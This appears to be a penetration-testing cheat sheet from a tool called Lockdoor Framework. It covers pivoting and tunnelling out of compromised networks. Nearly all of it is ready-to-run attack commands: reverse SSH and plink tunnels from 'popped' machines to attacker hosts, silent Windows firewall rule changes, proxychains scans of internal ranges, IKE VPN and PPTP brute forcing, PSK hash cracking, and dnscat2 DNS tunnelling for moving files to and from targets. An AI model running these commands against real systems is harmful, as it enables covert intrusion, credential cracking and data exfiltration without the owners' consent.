Lockdoor Framework

A Penetration Testing Framework

Port Forwarding - accept traffic on a given IP address and port and redirect it to a different IP address and port

apt-get install rinetd

cat /etc/rinetd.conf

# bindadress bindport connectaddress connectport

w.x.y.z 53 a.b.c.d 80

SSH Local Port Forwarding: supports bi-directional communication channels

ssh <gateway> -L <local port to listen>:<remote host>:<remote port>

SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network

ssh <gateway> -R <remote port to bind>:<local host>:<local port>

SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT

ssh -D <local proxy port> -p <remote port> <target>

Proxychains - Perform nmap scan within a DMZ from an external computer
Create reverse SSH tunnel from Popped machine on :2222

ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com

ssh -f -N -R 2222:<local host>:22 root@<remote host>

Create a Dynamic application-level port forward on 8080 thru 2222

ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host>

Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains

proxychains nmap --top-ports=20 -sT -Pn $ip/24

HTTP Tunneling

nc -vvn $ip 8888

Traffic Encapsulation - Bypassing deep packet inspection

http tunnel

On server side:

sudo hts -F <server ip addr>:<port of your app> 80

On client side:

sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel

Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network
Tunnel on port 22

plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>

Port 22 blocked? Try port 80? or 443?

plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80

Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection)
Windows machine add required firewall rules without prompting the user

netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes

netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000

netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080

netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079

Start the http tunnel client

httptunnel_client.exe

Create HTTP reverse shell by connecting to localhost port 3000

plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000

VLAN Hopping

git clone https://github.com/nccgroup/vlan-hopping.git

chmod 700 frogger.sh

./frogger.sh

VPN Hacking
Identify VPN servers:

./udp-protocol-scanner.pl -p ike $ip

Scan a range for VPN servers:

./udp-protocol-scanner.pl -p ike -f ip.txt

Use IKEForce to enumerate or dictionary attack VPN servers:

pip install pyip

git clone https://github.com/SpiderLabs/ikeforce.git

Perform IKE VPN enumeration with IKEForce:

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Bruteforce IKE VPN using IKEForce:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1

Use ike-scan to capture the PSK hash:

ike-scan

ike-scan TARGET-IP

ike-scan -A TARGET-IP

ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

ike-scan –M –A –n example\_group -P hash-file.txt TARGET-I

Use psk-crack to crack the PSK hash

psk-crack hash-file.txt

pskcrack

psk-crack -b 5 TARGET-IPkey

psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key

psk-crack -d /path/to/dictionary-file TARGET-IP-key

PPTP Hacking
Identifying PPTP, it listens on TCP: 1723 NMAP PPTP Fingerprint:

nmap –Pn -sV -p 1723 TARGET(S)

PPTP Dictionary Attack

thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

Port Forwarding/Redirection
PuTTY Link tunnel - SSH Tunneling
Forward remote port to local address:

plink.exe -P 22 -l root -pw "1337" -R 445:<local host>:445 <remote host>

SSH Pivoting
SSH pivoting from one network to another:

ssh -D <local host>:1010 -p 22 user@<remote host>

DNS Tunneling
dnscat2 supports “download” and “upload” commands for getting files (data and programs) to and from the target machine.
Attacking Machine Installation:

apt-get update

apt-get -y install ruby-dev git make g++

gem install bundler

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server

bundle instal

Run dnscat2:

ruby ./dnscat2.rb

dnscat2> New session established: 1422

dnscat2> session -i 1422

Target Machine:

(https://downloads.skullsecurity.org/dnscat2/)

(https://github.com/lukebaggett/dnscat2-powershell/)

dnscat --host <dnscat server ip>
